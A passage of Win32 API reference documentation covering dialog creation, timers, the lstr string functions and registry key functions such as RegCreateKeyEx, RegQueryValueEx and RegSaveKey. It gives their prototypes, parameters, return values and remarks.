DLGPROC lpDialogFunc // pointer to dialog box procedure
);
```

Parameters

hInstance

Identifies an instance of the module whose executable file contains the dialog box template.

lpTemplate

Identifies the dialog box template. This parameter is either the pointer to a null-terminated character string that specifies the name of the dialog box template or an integer value that specifies the resource identifier of the dialog box template. If the parameter specifies a resource identifier, its high-order word must be zero and its low-order word must contain the identifier. You can use the MAKEINTRESOURCE macro to create this value.

hWndParent

Identifies the window that owns the dialog box.

lpDialogFunc

Points to the dialog box procedure. For more information about the dialog box procedure, see DialogProc.

Return Values

If the function succeeds, the return value is the handle to the dialog box.
If the function fails, the return value is NULL.

Remarks

The CreateDialog function uses the CreateWindowEx function to create the dialog box. CreateDialog then sends a WM_INITDIALOG message (and a WM_SETFONT message if the template specifies the DS_SETFONT style) to the dialog box procedure. The function displays the dialog box if the template specifies the WS_VISIBLE style. Finally, CreateDialog returns the window handle to the dialog box.
After CreateDialog returns, the application displays the dialog box (if it is not already displayed) by using the ShowWindow function. The application destroys the dialog box by using the DestroyWindow function.
Windows 95: The system can support a maximum of 16,364 window handles.

See Also

CreateDialogIndirect, CreateDialogIndirectParam, CreateDialogParam, CreateWindowEx, DestroyWindow, DialogBox, DialogProc, ShowWindow, WM_INITDIALOG, WM_SETFONT

KillTimer

The KillTimer function destroys the specified timer.

```
BOOL KillTimer(

HWND hWnd,  // handle of window that installed timer
UINT uIDEvent     // timer identifier
);
```

Parameters

hWnd

Identifies the window associated with the specified timer. This value must be the same as the hWnd value passed to the SetTimer function that created the timer.

uIDEvent

Specifies the timer to be destroyed. If the window handle passed to SetTimer is valid, this parameter must be the same as the uIDEvent value passed to SetTimer. If the application calls SetTimer with hWnd set to NULL, this parameter must be the timer identifier returned by SetTimer.

Return Values

If the function succeeds, the return value is nonzero.

If the function fails, the return value is zero. To get extended error information, call GetLastError.

Remarks

The KillTimer function does not remove WM_TIMER messages already posted to the message queue.

See Also

SetTimer

lstrcat

The lstrcat function appends one string to another.

```
LPTSTR lstrcat(

LPTSTR lpString1,       // address of buffer for concatenated strings
LPCTSTR lpString2       // address of string to add to string1
);
```

Parameters

lpString1

Points to a null-terminated string. The buffer must be large enough to contain both strings.

lpString2

Points to the null-terminated string to be appended to the string specified in the lpString1 parameter.

Return Values

If the function succeeds, the return value is a pointer to the buffer.

If the function fails, the return value is NULL. To get extended error information, call GetLastError.

See Also

lstrcmp

lstrcmpi

The lstrcmpi function compares two character strings. The comparison is not case sensitive.

```
int lstrcmpi(

LPCTSTR lpString1,      // address of first string
LPCTSTR lpString2       // address of second string
);
```

Parameters

lpString1

Points to the first null-terminated string to be compared.

lpString2

Points to the second null-terminated string to be compared.

Return Values

If the function succeeds and the string pointed to by lpString1 is less than the string pointed to by lpString2, the return value is negative; if the string pointed to by lpString1 is greater than the string pointed to by lpString2, it is positive. If the strings are equal, the return value is zero.

Remarks

The lstrcmpi function compares two strings by checking the first characters against each other, the second characters against each other, and so on until it finds an inequality or reaches the ends of the strings.

The function returns the difference of the values of the first unequal characters it encounters. For example, lstrcmpi determines that "abcz" is greater than "abcdefg" and returns the difference of z and d.

The language (locale) selected by the user at setup time, or by using the control panel, determines which string is greater (or whether the strings are the same). If no language (locale) is selected, Windows performs the comparison by using default values.

For some locales, the lstrcmpi function may be insufficient. If this occurs, use CompareString to ensure proper comparison. For example, in Japan call CompareString with the IGNORE_CASE, IGNORE_KANATYPE, and IGNORE_WIDTH values to achieve the most appropriate non-exact string comparison. The IGNORE_KANATYPE and IGNORE_WIDTH values are ignored in non-Asian locales, so you can set these values for all locales and be guaranteed to have a culturally correct "insensitive" sorting regardless of the locale. Note that specifying these values slows performance, so use them only when necessary.

With a double-byte character set (DBCS) version of Windows, this function can compare two DBCS strings.

The Win32 lstrcmpi function uses a word sort, rather than a string sort. A word sort treats hyphens and apostrophes differently than it treats other symbols that are not alphanumeric, in order to ensure that words such as "coop" and "co-op" stay together within a sorted list. Note that in 16-bit versions of Windows, lstrcmpi uses a string sort. For a detailed discussion of word sorts and string sorts, see the Remarks section of the reference page for the CompareString function .

See Also

CompareString, lstrcmp

lstrcpy

The lstrcpy function copies a string to a buffer.

LPTSTR lstrcpy(

LPTSTR lpString1,   // address of buffer

```
LPCTSTR lpString2       // address of string to copy
);
```

Parameters

lpString1

Points to a buffer to receive the contents of the string pointed to by the lpString2 parameter. The buffer must be large enough to contain the string, including the terminating null character.

lpString2

Points to the null-terminated string to be copied.

Return Values

If the function succeeds, the return value is a pointer to the buffer.

If the function fails, the return value is NULL. To get extended error information, call GetLastError.

Remarks

With a double-byte character set (DBCS) version of Windows, this function can be used to copy a DBCS string.

See Also

lstrcat, lstrcpyn

lstrcpyn

The lstrcpyn function copies a specified number of characters from a source string into a buffer.

```
LPTSTR lstrcpyn(

LPTSTR lpString1,       // address of target buffer
LPCTSTR lpString2,      // address of source string
int iMaxLength          // number of bytes or characters to copy
);
```

Parameters

lpString1

Points to a buffer into which the function copies characters. The buffer must be large enough to contain the number of bytes (ANSI version) or characters (Unicode version) specified by iMaxLength, including room for a terminating null character.

lpString2

Points to a null-terminated string from which the function copies characters.

iMaxLength

Specifies the number bytes (ANSI version) or characters (Unicode version) to be copied from the string pointed to by lpString2 into the buffer pointed to by lpString1, including a terminating null character.

Return Values

If the function succeeds, the return value is a pointer to the buffer.

If the function fails, the return value is NULL. To get extended error information, call GetLastError.

Remarks

Note that the buffer pointed to by lpString1 must be large enough to include a terminating null character, and the string length value specified by iMaxLength includes room for a terminating null character. Thus, the following code

```
TCHAR chBuffer[512] ;

lstrcpyn(chBuffer, "abcdefghijklmnop", 4) ;
```

... copies the string "abc", followed by a terminating null character, to chBuffer.

See Also

lstrcat, lstrcpy

RegCreateKey

The RegCreateKey function creates the specified key. If the key already exists in the registry, the function opens it. This function is provided for compatibility with Windows version 3.1. Win32-based applications should use the RegCreateKeyEx function.

```
LONG RegCreateKey(

HKEY hKey,        // handle of an open key
LPCTSTR lpSubKey,       // address of name of subkey to open
PHKEY phkResult   // address of buffer for opened handle
);
```

Parameters

hKey

Identifies a currently open key or any of the following predefined reserved handle values:

HKEY_CLASSES_ROOT
HKEY_CURRENT_USER
HKEY_LOCAL_MACHINE
HKEY_USERS

The key opened or created by this function is a subkey of the key identified by hKey.

lpSubKey

Points to a null-terminated string specifying the name of a key that this function opens or creates. This key must be a subkey of the key identified by the hKey parameter.

If hKey is one of the predefined keys, lpSubKey may be NULL. In that case, the handle returned by using phkResult is the same hKey handle passed in to the function.

phkResult

Points to a variable that receives the handle of the opened or created key.

Return Values

If the function succeeds, the return value is ERROR_SUCCESS.

If the function fails, the return value is a nonzero error code defined in WINERROR.H. You can use the FormatMessage function with the FORMAT_MESSAGE_FROM_SYSTEM flag to get a generic description of the error.

Remarks

An application can use the RegCreateKey function to create several keys at once. For example, an application can create a subkey four levels deep at the same time as the three preceding subkeys by specifying a string of the following form for the lpSubKey parameter:

subkey1\subkey2\subkey3\subkey4

The key identified by the hKey parameter must have been opened with KEY_CREATE_SUB_KEY access (KEY_WRITE access includes KEY_CREATE_SUB_KEY access).

If the lpSubKey parameter is the address of an empty string, the function opens and then passes back the key identified by the hKey parameter.

See Also

RegCloseKey, RegCreateKeyEx, RegDeleteKey, RegOpenKey

RegCloseKey

The RegCloseKey function releases the handle of the specified key.

```
LONG RegCloseKey(

HKEY hKey   // handle of key to close
);
```

Parameters

hKey

Identifies the open key to close.

Return Values

If the function succeeds, the return value is ERROR_SUCCESS.

If the function fails, the return value is a nonzero error code defined in WINERROR.H. You can use the FormatMessage function with the FORMAT_MESSAGE_FROM_SYSTEM flag to get a generic description of the error.

Remarks

The handle for a specified key should not be used after it has been closed, because it will no longer be valid. Key handles should not be left open any longer than necessary.

The RegCloseKey function does not necessarily write information to the registry before returning; it can take as much as several seconds for the cache to be flushed to the hard disk. If an application must explicitly write registry information to the hard disk, it can use the RegFlushKey function. RegFlushKey, however, uses many system resources and should be called only when necessary.

See Also

RegCreateKey, RegCreateKeyEx, RegDeleteKey, RegFlushKey, RegOpenKey, RegOpenKeyEx, RegSetValue, RegSetValueEx

RegCreateKeyEx

The RegCreateKeyEx function creates the specified key. If the key already exists in the registry, the function opens it.

```
LONG RegCreateKeyEx(

HKEY hKey,              // handle of an open key
LPCTSTR lpSubKey,             // address of subkey name
DWORD Reserved,         // reserved
LPTSTR lpClass,               // address of class string
DWORD dwOptions,        // special options flag
REGSAM samDesired,            // desired security access
LPSECURITY_ATTRIBUTES lpSecurityAttributes,    // address of key security
structure
PHKEY phkResult,        // address of buffer for opened handle
LPDWORD lpdwDisposition       // address of disposition value buffer

);
```

Parameters

hKey

Identifies a currently open key or any of the following predefined reserved handle values:

HKEY_CLASSES_ROOT
HKEY_CURRENT_USER
HKEY_LOCAL_MACHINE
HKEY_USERS

The key opened or created by the RegCreateKeyEx function is a subkey of the key identified by the hKey parameter.

lpSubKey

Points to a null-terminated string specifying the name of a subkey that this function opens or creates. The subkey specified must be a subkey of the key identified by the hKey parameter. This subkey must not begin with the backslash character ('\'). This parameter cannot be NULL.

Reserved

Reserved; must be zero.

lpClass

Points to a null-terminated string that specifies the class (object type) of this key. This parameter is ignored if the key already exists.

dwOptions

Specifies special options for the key. This parameter can be one of the following values.

REG_OPTION_NON_VOLATILE
This key is not volatile; this is the default. The information is stored in a file and is preserved when the system is restarted. The RegSaveKey function saves keys that are not volatile.

REG_OPTION_VOLATILE
Windows NT: This key is volatile; the information is stored in memory and is not preserved when the system is restarted. The RegSaveKey function does not save volatile keys. This flag is ignored if the key already exists.

Windows 95: This value is ignored in Windows 95. If REG_OPTION_VOLATILE is specified, the RegCreateKeyEx function creates a nonvolatile key and returns ERROR_SUCCESS.

REG_OPTION_BACKUP_RESTORE
Windows NT: If this flag is set, the function ignores the samDesired parameter and attempts to open the key with the access required to backup or restore the key. If the calling thread has the SE_BACKUP_NAME privilege enabled, the key is opened with ACCESS_SYSTEM_SECURITY and KEY_READ access. If the calling thread has the SE_RESTORE_NAME privilege enabled, the key is opened with ACCESS_SYSTEM_SECURITY and KEY_WRITE access. If both privileges are enabled, the key has the combined accesses for both privileges.
Windows 95: This flag is ignored. Windows 95 does not support security in its registry.

samDesired

Specifies an access mask that specifies the desired security access for the new key. This parameter can be a combination of the following values:

KEY_ALL_ACCESS
Combination of KEY_QUERY_VALUE, KEY_ENUMERATE_SUB_KEYS, KEY_NOTIFY, KEY_CREATE_SUB_KEY, KEY_CREATE_LINK, and KEY_SET_VALUE access.

KEY_CREATE_LINK
Permission to create a symbolic link.

KEY_CREATE_SUB_KEY
Permission to create subkeys.

KEY_ENUMERATE_SUB_KEYS
Permission to enumerate subkeys.

KEY_EXECUTE
Permission for read access.

KEY_NOTIFY

Permission for change notification.

KEY_QUERY_VALUE
Permission to query subkey data.

KEY_READ
Combination of KEY_QUERY_VALUE, KEY_ENUMERATE_SUB_KEYS, and KEY_NOTIFY access.

KEY_SET_VALUE
Permission to set subkey data.

KEY_WRITE

Combination of KEY_SET_VALUE and KEY_CREATE_SUB_KEY access.

lpSecurityAttributes

Pointer to a SECURITY_ATTRIBUTES structure that determines whether the returned handle can be inherited by child processes. If lpSecurityAttributes is NULL, the handle cannot be inherited.

Windows NT: The lpSecurityDescriptor member of the structure specifies a security descriptor for the new key. If lpSecurityAttributes is NULL, the key gets a default security descriptor.

Windows 95: The lpSecurityDescriptor member of the structure is ignored.

phkResult

Points to a variable that receives the handle of the opened or created key.

lpdwDisposition

Points to a variable that receives one of the following disposition values:

REG_CREATED_NEW_KEY
The key did not exist and was created.

REG_OPENED_EXISTING_KEY
The key existed and was simply opened without being changed.

Return Values

If the function succeeds, the return value is ERROR_SUCCESS.

If the function fails, the return value is a nonzero error code defined in WINERROR.H. You can use the FormatMessage function with the FORMAT_MESSAGE_FROM_SYSTEM flag to get a generic description of the error.

Remarks

The key that the RegCreateKeyEx function creates has no values. An application can use the RegSetValue or RegSetValueEx function to set key values.

The key identified by the hKey parameter must have been opened with KEY_CREATE_SUB_KEY access. To open the key, use the RegCreateKeyEx or RegOpenKeyEx function.

An application cannot create a key under HKEY_USERS or HKEY_LOCAL_MACHINE.

An application can use RegCreateKeyEx to temporarily lock a portion of the registry. When the locking process creates a new key, it receives the disposition value REG_CREATED_NEW_KEY, indicating that it "owns" the lock. Another process attempting to create the same key receives the disposition value REG_OPENED_EXISTING_KEY, indicating that another process already owns the lock.

See Also

RegCloseKey, RegCreateKey, RegDeleteKey, RegOpenKey, RegOpenKeyEx

RegDeleteKey

Windows 95: The RegDeleteKey function deletes a key and all its descendents.

Windows NT: The RegDeleteKey function deletes the specified key. This function cannot delete a key that has subkeys.

```
LONG RegDeleteKey(

HKEY hKey,        // handle of open key
LPCTSTR lpSubKey  // address of name of subkey to delete
);
```

Parameters

hKey

Identifies a currently open key or any of the following predefined reserved handle values:

HKEY_CLASSES_ROOT
HKEY_CURRENT_USER
HKEY_LOCAL_MACHINE
HKEY_USERS

The key specified by the lpSubKey parameter must be a subkey of the key identified by hKey.

lpSubKey

Points to a null-terminated string specifying the name of the key to delete. This parameter cannot be NULL, and the specified key must not have subkeys.

Return Values

If the function succeeds, the return value is ERROR_SUCCESS.

If the function fails, the return value is a nonzero error code defined in WINERROR.H. You can use the FormatMessage function with the FORMAT_MESSAGE_FROM_SYSTEM flag to get a generic description of the error.

Remarks

If the function succeeds, RegDeleteKey removes the specified key from the registry. The entire key, including all of its values, is removed.

To open the key, use the RegCreateKeyEx or RegOpenKeyEx function. Do not use the RegCreateKey or RegOpenKey functions.

See Also

RegCloseKey

RegLoadKey

The RegLoadKey function creates a subkey under HKEY_USER or HKEY_LOCAL_MACHINE and stores registration information from a specified file into that subkey. This registration information is in the form of a hive. A hive is a discrete body of keys, subkeys, and values that is rooted at the top of the registry hierarchy. A hive is backed by a single file and .LOG file.

```
LONG RegLoadKey(

HKEY hKey,              // handle of open key
LPCTSTR lpSubKey,             // address of name of subkey
LPCTSTR lpFile                // address of filename for registry information
);
```

Parameters

hKey

Specifies the key where the subkey will be created. This can be a predefined reserved handle value, or a handle returned by a call to RegConnectRegistry. The predefined reserved handle values are:

HKEY_LOCAL_MACHINE
HKEY_USERS

This function always loads information at the top of the registry hierarchy. The HKEY_CLASSES_ROOT and HKEY_CURRENT_USER handle values cannot be specified for this parameter, because they represent subsets of the HKEY_LOCAL_MACHINE and HKEY_USERS handle values, respectively.

lpSubKey

Points to a null-terminated string that specifies the name of the key to be created under hKey. This subkey is where the registration information from the file will be loaded.

lpFile

Points to a null-terminated string containing the name of a file that has registration information. This file must have been created with the RegSaveKey function. Under the file allocation table (FAT) file system, the filename may not have an extension.

Return Values

If the function succeeds, the return value is ERROR_SUCCESS.

If the function fails, the return value is a nonzero error code defined in WINERROR.H. You can use the FormatMessage function with the FORMAT_MESSAGE_FROM_SYSTEM flag to get a generic description of the error.

Remarks

If hKey is a handle returned by RegConnectRegistry, then the path specified in lpFile is relative to the remote computer.

Windows NT: The calling process must have the SE_RESTORE_NAME privilege. For more information about privileges, see Privileges.

Windows 95: Security privileges are not supported or required.

See Also

RegConnectRegistry, RegDeleteKey, RegReplaceKey, RegRestoreKey

RegOpenKey

The RegOpenKey function opens the specified key. This function is provided for compatibility with Windows version 3.1. Win32-based applications should use the RegOpenKeyEx function.

```
LONG RegOpenKey(

HKEY hKey,        // handle of open key
LPCTSTR lpSubKey,       // address of name of subkey to open
PHKEY phkResult   // address of handle of open key
);
```

Parameters

hKey

Identifies a currently open key or any of the following predefined reserved handle values:

HKEY_CLASSES_ROOT
HKEY_CURRENT_USER
HKEY_LOCAL_MACHINE
HKEY_USERS

The key opened by the RegOpenKey function is a subkey of the key identified by hKey.

lpSubKey

Points to a null-terminated string containing the name of the key to open. This key must be a subkey of the key identified by the hKey parameter. If this parameter is NULL or a pointer to an empty string, the function returns the same handle that was passed in.

phkResult

Points to a variable that receives the handle of the opened key.

Return Values

If the function succeeds, the return value is ERROR_SUCCESS.

If the function fails, the return value is a nonzero error code defined in WINERROR.H. You can use the FormatMessage function with the FORMAT_MESSAGE_FROM_SYSTEM flag to get a generic description of the error.

Remarks

The RegOpenKey function uses the default security access mask to open a key. If opening the key requires a different mask, the function fails, returning ERROR_ACCESS_DENIED. An application should use the RegOpenKeyEx function to specify an access mask in this situation.

Unlike the RegCreateKey function, RegOpenKey does not create the specified key if the key does not exist in the database.

See Also

RegCloseKey, RegCreateKey, RegCreateKeyEx, RegDeleteKey

RegOpenKeyEx

The RegOpenKeyEx function opens the specified key.

```
LONG RegOpenKeyEx(

HKEY hKey,        // handle of open key
LPCTSTR lpSubKey,       // address of name of subkey to open
DWORD ulOptions,  // reserved
REGSAM samDesired,      // security access mask
PHKEY phkResult   // address of handle of open key
);
```

Parameters

hKey

Identifies a currently open key or any of the following predefined reserved handle values:

HKEY_CLASSES_ROOT
HKEY_CURRENT_USER
HKEY_LOCAL_MACHINE
HKEY_USERS

lpSubKey

Points to a null-terminated string containing the name of the subkey to open. If this parameter is NULL or a pointer to an empty string, the function will open a new handle of the key identified by the hKey parameter. In this case, the function will not close the handles previously opened.

ulOptions

Reserved; must be zero.

samDesired

Specifies an access mask that describes the desired security access for the new key. This parameter can be a combination of the following values:

KEY_ALL_ACCESS

Combination of KEY_QUERY_VALUE, KEY_ENUMERATE_SUB_KEYS, KEY_NOTIFY, KEY_CREATE_SUB_KEY, KEY_CREATE_LINK, and KEY_SET_VALUE access.

KEY_CREATE_LINK
Permission to create a symbolic link.

KEY_CREATE_SUB_KEY
Permission to create subkeys.

KEY_ENUMERATE_SUB_KEYS
Permission to enumerate subkeys.

KEY_EXECUTE
Permission for read access.

KEY_NOTIFY
Permission for change notification.

KEY_QUERY_VALUE
Permission to query subkey data.

KEY_READ
Combination of KEY_QUERY_VALUE, KEY_ENUMERATE_SUB_KEYS, and KEY_NOTIFY access.

KEY_SET_VALUE
Permission to set subkey data.

KEY_WRITE
Combination of KEY_SET_VALUE and KEY_CREATE_SUB_KEY access.

phkResult

Points to a variable that receives the handle of the opened key.

Return Values

If the function succeeds, the return value is ERROR_SUCCESS.

If the function fails, the return value is a nonzero error code defined in WINERROR.H. You can use the FormatMessage function with the FORMAT_MESSAGE_FROM_SYSTEM flag to get a generic description of the error.

Remarks

Unlike the RegCreateKeyEx function, the RegOpenKeyEx function does not create the specified key if the key does not exist in the registry.

See Also

RegCloseKey, RegCreateKeyEx, RegDeleteKey, RegOpenKey

RegQueryValue

The RegQueryValue function retrieves the value associated with the unnamed value for a specified key in the registry. Values in the registry have name, type, and data components. This function retrieves the data for a key's first value that has a NULL name. This function is provided for compatibility with Windows version 3.1. Win32-based applications should use the RegQueryValueEx function.

LONG RegQueryValue(

```
HKEY hKey,        // handle of key to query
LPCTSTR lpSubKey,       // address of name of subkey to query
LPTSTR lpValue,         // address of buffer for returned string
PLONG lpcbValue   // address of buffer for size of returned string
);
```

Parameters

hKey

Identifies a currently open key or any of the following predefined reserved handle values:

HKEY_CLASSES_ROOT
HKEY_CURRENT_USER
HKEY_LOCAL_MACHINE
HKEY_USERS

lpSubKey

Points to a null-terminated string containing the name of the subkey of the hKey parameter for which a value is to be retrieved. If this parameter is NULL or points to an empty string, the function retrieves the value set by the RegSetValue function for the key identified by hKey.

lpValue

Points to a buffer that receives the value associated with the lpSubKey parameter. The buffer should be big enough to contain the terminating null character. This parameter can be NULL if the data is not required.

If lpValue is NULL, and lpcbValue is not NULL, the function places the size in bytes of the data referenced by the value key, including the terminating null character, into the variable pointed to by lpcbValue. This lets an application determine how to best preallocate a buffer for the value key's data.

lpcbValue

Points to a variable specifying the size, in bytes, of the buffer pointed to by the lpValue parameter. When the function returns, this variable contains the size of the data copied to lpValue, including the terminating null character.

If the buffer specified by lpValue parameter is not large enough to hold the data, the function returns the value ERROR_MORE_DATA, and stores the required buffer size, in bytes, into the variable pointed to by lpcbValue.

If lpValue is NULL, the function returns ERROR_SUCCESS, and stores the size of the string, in bytes, into the variable pointed to by lpcbValue. This lets an application determine the best way to allocate a buffer for the value key's data.

In all cases the value returned in lpcbValue always includes the size of the terminating null character in the string.

Return Values

If the function succeeds, the return value is ERROR_SUCCESS.

If the function fails, the return value is a nonzero error code defined in WINERROR.H. You can use the FormatMessage function with the FORMAT_MESSAGE_FROM_SYSTEM flag to get a generic description of the error.

Remarks

The key identified by the hKey parameter must have been opened with KEY_QUERY_VALUE access (KEY_READ access includes KEY_QUERY_VALUE access).

If the ANSI version of this function is used (either by explicitly calling RegQueryValue or by not defining Unicode before including the WINDOWS.H file), this function converts the stored Unicode string to an ANSI string before copying it to the buffer specified by the lpValue parameter.

See Also

RegEnumKey, RegEnumKeyEx, RegEnumValue, RegQueryInfoKey, RegQueryValueEx, RegSetValue, RegSetValueEx

RegQueryValueEx

The RegQueryValueEx function retrieves the type and data for a specified value name associated with an open registry key.

```
LONG RegQueryValueEx(

HKEY hKey,               // handle of key to query
LPTSTR lpValueName,            // address of name of value to query
LPDWORD lpReserved,            // reserved
LPDWORD lpType,          // address of buffer for value type
LPBYTE lpData,                 // address of data buffer
LPDWORD lpcbData         // address of data buffer size
);
```

Parameters

hKey

Identifies a currently open key or any of the following predefined reserved handle values:

HKEY_CLASSES_ROOT
HKEY_CURRENT_USER

HKEY_LOCAL_MACHINE
HKEY_USERS

lpValueName

Points to a null-terminated string containing the name of the value to be queried.

lpReserved

Reserved; must be NULL.

lpType

Points to a variable that receives the key's value type. The value returned through this parameter will be one of the following:

REG_BINARY
Binary data in any form.

REG_DWORD
A 32-bit number.

REG_DWORD_LITTLE_ENDIAN
A 32-bit number in little-endian format (same as REG_DWORD). In little-endian format, the most significant byte of a word is the high-order byte. This is the most common format for computers running Windows NT and Windows 95.

REG_DWORD_BIG_ENDIAN
A 32-bit number in big-endian format. In big-endian format, the most significant byte of a word is the low-order byte.

REG_EXPAND_SZ
A null-terminated string that contains unexpanded references to environment variables (for example, "%PATH%"). It will be a Unicode or ANSI string depending on whether you use the Unicode or ANSI functions.

REG_LINK
A Unicode symbolic link.

REG_MULTI_SZ
An array of null-terminated strings, terminated by two null characters.

REG_NONE
No defined value type.

REG_RESOURCE_LIST
A device-driver resource list.

REG_SZ
A null-terminated string. It will be a Unicode or ANSI string depending on whether you use the Unicode or ANSI functions.

The lpType parameter can be NULL if the type is not required.

lpData

Points to a buffer that receives the value's data. This parameter can be NULL if the data is not required.

lpcbData

Points to a variable that specifies the size, in bytes, of the buffer pointed to by the lpData parameter. When the function returns, this variable contains the size of the data copied to lpData.

If the buffer specified by lpData parameter is not large enough to hold the data, the function returns the value ERROR_MORE_DATA, and stores the required buffer size, in bytes, into the variable pointed to by lpcbData.

If lpData is NULL, and lpcbData is non-NULL, the function returns ERROR_SUCCESS, and stores the size of the data, in bytes, in the variable pointed to by lpcbData. This lets an application determine the best way to allocate a buffer for the value key's data.

If the data has the REG_SZ, REG_MULTI_SZ or REG_EXPAND_SZ type, then lpData will also include the size of the terminating null character.

The lpcbData parameter can be NULL only if lpData is NULL.

Return Values

If the function succeeds, the return value is ERROR_SUCCESS.

If the function fails, the return value is a nonzero error code defined in WINERROR.H. You can use the FormatMessage function with the FORMAT_MESSAGE_FROM_SYSTEM flag to get a generic description of the error.

Remarks

The key identified by hKey must have been opened with KEY_QUERY_VALUE access. To open the key, use the RegCreateKeyEx or RegOpenKeyEx function.

This function does not expand the environment-variable names in the value data when the value type is REG_EXPAND_SZ. The ExpandEnvironmentStrings function can be used to expand the environment-variable names.

If the value data has the REG_SZ, REG_MULTI_SZ or REG_EXPAND_SZ type, and the ANSI version of this function is used (either by explicitly calling RegQueryValueEx or by not defining Unicode before including the WINDOWS.H file), this function converts the stored Unicode string to an ANSI string before copying it to the buffer pointed to by lpData.

When calling the RegQueryValueEx function with hKey set to the HKEY_PERFORMANCE_DATA handle and a value string of a specified object, the returned data structure sometimes has unrequested objects. Don't be surprised; this is normal behavior. When calling the RegQueryValueEx function, you should always expect to walk the returned data structure to look for the requested object.

See Also

ExpandEnvironmentStrings, RegCreateKeyEx, RegEnumKey, RegEnumKeyEx, RegEnumValue, RegOpenKeyEx

RegSaveKey

The RegSaveKey function saves the specified key and all of its subkeys and values to a new file.

```
LONG RegSaveKey(

HKEY hKey,        // handle of key where save begins
LPCTSTR lpFile,         // address of filename to save to
LPSECURITY_ATTRIBUTES lpSecurityAttributes     // address of security structure
);
```

Parameters

hKey

Specifies a handle of the key where the save operation is to begin, or any of the following predefined reserved handle values:

HKEY_CLASSES_ROOT

HKEY_CURRENT_USER
HKEY_LOCAL_MACHINE
HKEY_USERS

lpFile

Points to a null-terminated string containing the name of the file in which the specified key and subkeys are saved.

If this filename includes an extension, it cannot be used on file allocation table (FAT) file systems by the RegLoadKey, RegReplaceKey, or RegRestoreKey function.

Windows NT: If the file already exists, the function fails with the ERROR_ALREADY_EXISTS error.

Windows 95: If the file already exists, the function fails with the ERROR_REGISTRY_IO_FAILED error.

Windows NT: If the string does not include a path, the file is created in the current directory of the calling process for a local key, or in the %systemroot%\system32 directory for a remote key.

Windows 95: If the string does not include a path, the file is created in the Windows root directory for local and remote keys. See GetWindowsDirectory.

lpSecurityAttributes

Windows NT: Pointer to a SECURITY_ATTRIBUTES structure that specifies a security descriptor for the new file. If lpSecurityAttributes is NULL, the file gets a default security descriptor.

Windows 95: This parameter is ignored.

Return Values

If the function succeeds, the return value is ERROR_SUCCESS.

If the function fails, the return value is a nonzero error code defined in WINERROR.H. You can use the FormatMessage function with the FORMAT_MESSAGE_FROM_SYSTEM flag to get a generic description of the error.

Remarks

If hKey represents a key on a remote computer, the path described by lpFile is relative to the remote computer.

The RegSaveKey function saves only nonvolatile keys. It does not save volatile keys. A key is made volatile or nonvolatile at its creation; see RegCreateKeyEx.

Windows 95: The new file has the archive, hidden, readonly, and system attributes.

Windows NT: The new file has the archive attribute.

Windows NT: The calling process must have the SE_BACKUP_NAME privilege. For more information about privileges, see Privileges.

Windows 95: Security privileges are not supported or required.

See Also

RegCreateKeyEx, RegDeleteKey, RegLoadKey, RegReplaceKey

RegSetValueEx

The RegSetValueEx function stores data in the value field of an open registry key. It can also set additional value and type information for the specified key.

```
LONG RegSetValueEx(

HKEY hKey,              // handle of key to set value for
LPCTSTR lpValueName,          // address of value to set
DWORD Reserved,         // reserved
DWORD dwType,           // flag for value type
CONST BYTE *lpData,           // address of value data
DWORD cbData                  // size of value data
);
```

Parameters

hKey

Identifies a currently open key or any of the following predefined reserved handle values:

HKEY_CLASSES_ROOT
HKEY_CURRENT_USER
HKEY_LOCAL_MACHINE

HKEY_USERS

lpValueName

Points to a string containing the name of the value to set. If a value with this name is not already present in the key, the function adds it to the key.

If this parameter is NULL or points to an empty string and the dwType parameter is the REG_SZ type, this function sets the same value the RegSetValue function would set.

Reserved

Reserved; must be zero.

dwType

Specifies the type of information to be stored as the value's data. This parameter can be one of the following values:

REG_BINARY
Binary data in any form.

REG_DWORD
A 32-bit number.

REG_DWORD_LITTLE_ENDIAN
A 32-bit number in little-endian format (same as REG_DWORD). In little-endian format, the most significant byte of a word is the high-order byte. This is the most common format for computers running Windows NT and Windows 95.

REG_DWORD_BIG_ENDIAN
A 32-bit number in big-endian format. In big-endian format, the most significant byte of a word is the low-order byte.

REG_EXPAND_SZ
A null-terminated string that contains unexpanded references to environment variables (for example, "%PATH%"). It will be a Unicode or ANSI string depending on whether you use the Unicode or ANSI functions.

REG_LINK
A Unicode symbolic link.

REG_MULTI_SZ
An array of null-terminated strings, terminated by two null characters.

REG_NONE
No defined value type.

REG_RESOURCE_LIST
A device-driver resource list.

REG_SZ
A null-terminated string. It will be a Unicode or ANSI string depending on whether you use the Unicode or ANSI functions.

lpData

Points to a buffer containing the data to be stored with the specified value name.

cbData

Specifies the size, in bytes, of the information pointed to by the lpData parameter. If the data is of type REG_SZ, REG_EXPAND_SZ, or REG_MULTI_SZ, cbData must include the size of the terminating null character.

Return Values

If the function succeeds, the return value is ERROR_SUCCESS.

If the function fails, the return value is a nonzero error code defined in WINERROR.H. You can use the FormatMessage function with the FORMAT_MESSAGE_FROM_SYSTEM flag to get a generic description of the error.

Remarks

Value lengths are limited by available memory. Long values (more than 2048 bytes) should be stored as files with the filenames stored in the registry. This helps the registry perform efficiently. Application elements such as icons, bitmaps, and executable files should be stored as files and not be placed in the registry.

The key identified by the hKey parameter must have been opened with KEY_SET_VALUE access. To open the key, use the RegCreateKeyEx or RegOpenKeyEx function.

If dwType is the REG_SZ, REG_MULTI_SZ or REG_EXPAND_SZ type and the ANSI version of this function is used (either by explicitly calling RegSetValueEx or by not defining Unicode before including the WINDOWS.H file), the data pointed to by the lpData parameter must be an ANSI character string. The string is converted to Unicode before it is stored in the registry.

See Also

RegCreateKeyEx, RegFlushKey, RegOpenKeyEx, RegQueryValue

RegSetValue

The RegSetValue function associates a value with a specified key. This value must be a text string and cannot have a name. This function is provided for compatibility with Windows version 3.1. Win32-based applications should use the RegSetValueEx function, which allows an application to set any number of named values of any data type.

```
LONG RegSetValue(

HKEY hKey,        // handle of key to set value for
LPCTSTR lpSubKey,       // address of subkey name
DWORD dwType,     // type of value
LPCTSTR lpData,   // address of value data
DWORD cbData            // size of value data
);
```

Parameters

hKey

Identifies a currently open key or any of the following predefined reserved handle values:

HKEY_CLASSES_ROOT
HKEY_CURRENT_USER
HKEY_LOCAL_MACHINE
HKEY_USERS

lpSubKey

Points to a null-terminated string containing the name of the subkey with which a value is associated. This parameter can be null or a pointer to an empty string. In this case, the value will be added to the key identified by the hKey parameter.

dwType

Specifies the type of information to be stored. This parameter must be the REG_SZ type. To store other data types, use the RegSetValueEx function.

lpData

Points to a null-terminated string containing the value to set for the specified key.

cbData

Specifies the length, in bytes, of the string pointed to by the lpData parameter, not including the terminating null character.

Return Values

If the function succeeds, the return value is ERROR_SUCCESS.

